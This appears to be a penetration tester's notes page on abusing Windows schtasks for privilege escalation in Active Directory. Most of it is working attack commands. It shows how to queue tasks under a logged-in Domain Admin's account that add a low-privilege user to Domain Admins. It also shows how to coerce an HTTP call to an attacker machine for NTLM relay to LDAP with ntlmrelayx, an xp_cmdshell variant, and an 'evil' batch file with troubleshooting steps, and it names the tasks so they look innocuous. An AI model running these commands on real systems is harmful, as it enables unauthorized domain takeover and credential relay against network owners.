schtasks
Can be used for privesc LOL! This article covers it pretty well.
List tasks
# Basic view
schtasks /query /fo LIST /v
# More compact table view
schtasks /query /fo TABLE
# CSV export
schtasks /query /fo CSV /v > tasks.csv
Queue up a scheduled net.exe privesc task by abusing a DA who is logged in interactively
Check who's logged in (and look for a DA):
Get-Process -IncludeUserName explorer | Select-Object UserName
Queue up the task:
schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
Depending on the Windows system, sometimes you have to reverse the use of single ticks and quotes above, so, for example:
schtasks /create /tn "TotallyFineTask" /tr "net group 'Domain Admins' lowpriv /add /domain" /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
Run it:
schtasks /run /tn "TotallyFineTask"
Queue up a scheduled HTTP-based privesc task by abusing a DA who is logged in interactively
This is handy when you want to coerce a logged-in DA to do an HTTP call to your attacking box so you can relay to LDAP with ntlmrelayx:
schtasks /create /tn "TotallyFineNotSus" /tr "powershell.exe IWR http://your-kali-ip -UseDefaultCredentials" /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f
In another window have something like this going:
ntlmrelayx -t ldap://ip.of.a.domaincontroller -debug --escalate-user lowpriv
Then fire the schtask!
schtasks /run /tn "TotallyFineNotSus"
Queue up a scheduled task when you have NT AUTHORITY\SYSTEM privileges
Sometimes you might get on a box with NT AUTHORITY\SYSTEM permissions and have problems running net.exe to create a back door local admin or add a domain user to a local admin group. In cases like these you can use the scheduled task trick, but this time set the /ru to be SYSTEM like so:
TIP
Sometimes escaping single ticks and quotes is hard in xp_cmdshell, so here's another example that works for group shenanigans:
EXEC xp_cmdshell 'schtasks /create /tn "DBMaint" /tr "net group \"Domain Admins\" lowpriv /add /domain" /sc once /st 12:00 /ru "domain\a-domain-admin" /it /f';
Get details on when the task last ran
Tells you when it last ran, error codes, etc:
schtasks /query /tn "Sometask" /v /fo LIST
Find all tasks that start with certain characters
For example, if you queued up a bunch of tasks that started with DB you could list them with:
schtasks /query | findstr /i "DB"
Delete a scheduled task
schtasks /delete /TN "MyTaskName" /F
Troubleshooting
If you find that trying to run a straight-up schtasks under the context of a DA provides a Last result of -2147024894 or 2, try creating an evil batch file to accomplish the same net-based privesc, i.e.:
# Put this as c:\users\public\test.bat
@echo off
net group "Domain Admins" low-priv /add /domain > C:\Users\Public\diditwork.txt 2>&1
Then create the evil task:
schtasks /create /tn "Maintenance" /tr "c:\users\public\test.bat" /sc once /st 12:00 /ru "domain\some-domain-admin-who-is-interactively-logged-on" /it /f
Then fire the task!
schtasks /run /tn "Maintenance"
Inspect it to make sure Last result: is clean with value 0:
schtasks /query /tn "Maintenance" /v /fo LIST
Also you can check the content of c:\users\public\diditwork.txt to see the task output:
type c:\users\public\diditwork.txt
It should look like this if the run was successful:
The request will be processed at a domain controller for domain domain.com.
The command completed successfully.
More information
Think this privesc path sounds kind of bonkers? Learn more at https://cymulate.com/blog/task-scheduler-new-vulnerabilities-for-schtasks-exe/.